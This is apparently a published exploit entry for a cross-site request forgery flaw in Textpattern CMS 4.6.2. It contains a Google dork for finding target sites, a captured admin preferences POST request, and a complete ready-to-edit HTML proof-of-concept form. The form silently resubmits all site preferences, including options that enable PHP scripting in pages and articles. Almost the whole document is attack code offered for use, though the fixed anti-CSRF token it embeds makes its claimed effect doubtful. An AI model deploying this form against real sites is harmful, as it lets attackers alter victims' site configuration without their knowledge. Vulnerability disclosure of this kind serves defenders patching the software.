Textpattern CMS 4.6.2 – Cross-site Request Forgery
# Exploit Title: Textpattern CMS 4.6.2 - Cross-site Request Forgery # Exploit Author: Alperen Ergel # Contact: @alpren_ae # Software Homepage: https://textpattern.com/ # Version : 4.6.2 # Tested on: windows 10 / xammp # Category: WebApp # Google Dork: intext:"Published with Textpattern CMS" # Date: 2020-10-29 ######## Description ######## # # 1-) Loggin administrator page # # 2-) Go admin > prefs > site # # 3-) All inputs vulnerable to CSRF # # ######## Proof of Concept ######## ========>>> REQUEST <<<========= POST /textpattern/textpattern/index.php?event=prefs HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost/textpattern/textpattern/index.php Content-Type: application/x-www-form-urlencoded Content-Length: 1806 Connection: close Cookie: txp_login=localhost%2Ca170e235c4f2f59bb1300272c470807d; txp_login_public=a834cbdc8blocalhost; __atuvc=1%7C40 Upgrade-Insecure-Requests: 1 Submit=Save&sitename=victim+site&siteurl=victimurl.com&site_slogan=victimslogan&production_status=testing&timezone_key=Europe%2FBerlin&auto_dst=0& is_dst=0&dateformat=since&archive_dateformat=%25b+%25Oe%2C+%25I%3A%25M+%25p&permlink_mode=section_id_title&doctype=html5&logging=none&expire_logs_after=7& use_comments=1&img_dir=images&skin_dir=themes&file_base_path=%2Fvar%2Fwww%2Fvhosts%2Flocalhost%2Fhttpdocs%2Ftextpattern%2Ffiles& file_max_upload_size=2000000&tempdir=%2Fvar%2Fwww%2Fvhosts%2Flocalhost%2Fhttpdocs%2Ftextpattern%2Ftextpattern%2Ftmp&plugin_cache_dir=& smtp_from=&publisher_email=&override_emailcharset=0&enable_xmlrpc_server=0&default_event=article&theme_name=hive&module_pophelp=1&default_publish_status=4& title_no_widow=0&articles_use_excerpts=1&allow_form_override=1&attach_titles_to_permalinks=1&permlink_format=1&send_lastmod=1&publish_expired_articles=0&use_textile=1&enable_short_tags=1& use_plugins=1&admin_side_plugins=1&allow_page_php_scripting=1&allow_article_php_scripting=1&max_url_len=1000&syndicate_body_or_excerpt=1&rss_how_many=5&show_comment_count_in_feed=1& include_email_atom=0&use_mail_on_feeds_id=0&comments_on_default=0&comments_default_invite=Comment&comments_moderate=1&comments_disabled_after=42&comments_auto_append=0& comments_mode=0&comments_dateformat=%25b+%25Oe%2C+%25I%3A%25M+%25p&comments_sendmail=0&comments_are_ol=1&comment_means_site_updated=1& comments_require_name=1&comments_require_email=1&never_display_email=1&comment_nofollow=1&comments_disallow_images=0&comments_use_fat_textile=0&spam_blacklists=& custom_1_set=custom1&custom_2_set=custom2&custom_3_set=&custom_4_set=&custom_5_set=&custom_6_set=&custom_7_set=&custom_8_set=&custom_9_set=&custom_10_set=& step=prefs_save&event=prefs&_txp_token=0342db47efb6882b488f6d367067d720 ### EXPLOIT #### <html> <!-- CSRF PoC --> <body> <form action="https://localhost/textpattern/textpattern/index.php" method="POST"> <input type="hidden" name="Submit" value="Save" /> <input type="hidden" name="sitename" value="CHANGEHERE" /> <input type="hidden" name="siteurl" value="CHANGEHERE" /> <input type="hidden" name="site_slogan" value="CHANGEHERE" /> <input type="hidden" name="production_status" value="testing" /> <input type="hidden" name="timezone_key" value="Europe/Berlin" /> <input type="hidden" name="auto_dst" value="0" /> <input type="hidden" name="is_dst" value="0" /> <input type="hidden" name="dateformat" value="since" /> <input type="hidden" name="archive_dateformat" value="%b %Oe, %I:%M %p" /> <input type="hidden" name="permlink_mode" value="section_id_title" /> <input type="hidden" name="doctype" value="html5" /> <input type="hidden" name="logging" value="none" /> <input type="hidden" name="expire_logs_after" value="7" /> <input type="hidden" name="use_comments" value="1" /> <input type="hidden" name="img_dir" value="images" /> <input type="hidden" name="skin_dir" value="themes" /> <input type="hidden" name="file_base_path" value="/var/www/vhosts/.demo.localhost./httpdocs/textpattern/files" /> <input type="hidden" name="file_max_upload_size" value="2000000" /> <input type="hidden" name="tempdir" value="/var/www/vhosts/.demo.localhost./httpdocs/textpattern/textpattern/tmp" /> <input type="hidden" name="plugin_cache_dir" value="" /> <input type="hidden" name="smtp_from" value="" /> <input type="hidden" name="publisher_email" value="" /> <input type="hidden" name="override_emailcharset" value="0" /> <input type="hidden" name="enable_xmlrpc_server" value="0" /> <input type="hidden" name="default_event" value="article" /> <input type="hidden" name="theme_name" value="hive" /> <input type="hidden" name="module_pophelp" value="1" /> <input type="hidden" name="default_publish_status" value="4" /> <input type="hidden" name="title_no_widow" value="0" /> <input type="hidden" name="articles_use_excerpts" value="1" /> <input type="hidden" name="allow_form_override" value="1" /> <input type="hidden" name="attach_titles_to_permalinks" value="1" /> <input type="hidden" name="permlink_format" value="1" /> <input type="hidden" name="send_lastmod" value="1" /> <input type="hidden" name="publish_expired_articles" value="0" /> <input type="hidden" name="use_textile" value="1" /> <input type="hidden" name="enable_short_tags" value="1" /> <input type="hidden" name="use_plugins" value="1" /> <input type="hidden" name="admin_side_plugins" value="1" /> <input type="hidden" name="allow_page_php_scripting" value="1" /> <input type="hidden" name="allow_article_php_scripting" value="1" /> <input type="hidden" name="max_url_len" value="1000" /> <input type="hidden" name="syndicate_body_or_excerpt" value="1" /> <input type="hidden" name="rss_how_many" value="5" /> <input type="hidden" name="show_comment_count_in_feed" value="1" /> <input type="hidden" name="include_email_atom" value="0" /> <input type="hidden" name="use_mail_on_feeds_id" value="0" /> <input type="hidden" name="comments_on_default" value="0" /> <input type="hidden" name="comments_default_invite" value="Comment" /> <input type="hidden" name="comments_moderate" value="1" /> <input type="hidden" name="comments_disabled_after" value="42" /> <input type="hidden" name="comments_auto_append" value="0" /> <input type="hidden" name="comments_mode" value="0" /> <input type="hidden" name="comments_dateformat" value="%b %Oe, %I:%M %p" /> <input type="hidden" name="comments_sendmail" value="0" /> <input type="hidden" name="comments_are_ol" value="1" /> <input type="hidden" name="comment_means_site_updated" value="1" /> <input type="hidden" name="comments_require_name" value="1" /> <input type="hidden" name="comments_require_email" value="1" /> <input type="hidden" name="never_display_email" value="1" /> <input type="hidden" name="comment_nofollow" value="1" /> <input type="hidden" name="comments_disallow_images" value="0" /> <input type="hidden" name="comments_use_fat_textile" value="0" /> <input type="hidden" name="spam_blacklists" value="" /> <input type="hidden" name="custom_1_set" value="custom1" /> <input type="hidden" name="custom_2_set" value="custom2" /> <input type="hidden" name="custom_3_set" value="" /> <input type="hidden" name="custom_4_set" value="" /> <input type="hidden" name="custom_5_set" value="" /> <input type="hidden" name="custom_6_set" value="" /> <input type="hidden" name="custom_7_set" value="" /> <input type="hidden" name="custom_8_set" value="" /> <input type="hidden" name="custom_9_set" value="" /> <input type="hidden" name="custom_10_set" value="" /> <input type="hidden" name="step" value="prefs_save" /> <input type="hidden" name="event" value="prefs" /> <input type="hidden" name="_txp_token" value="0342db47efb6882b488f6d367067d720" /> <input type="submit" value="Do Action" /> </form> </body> </html> |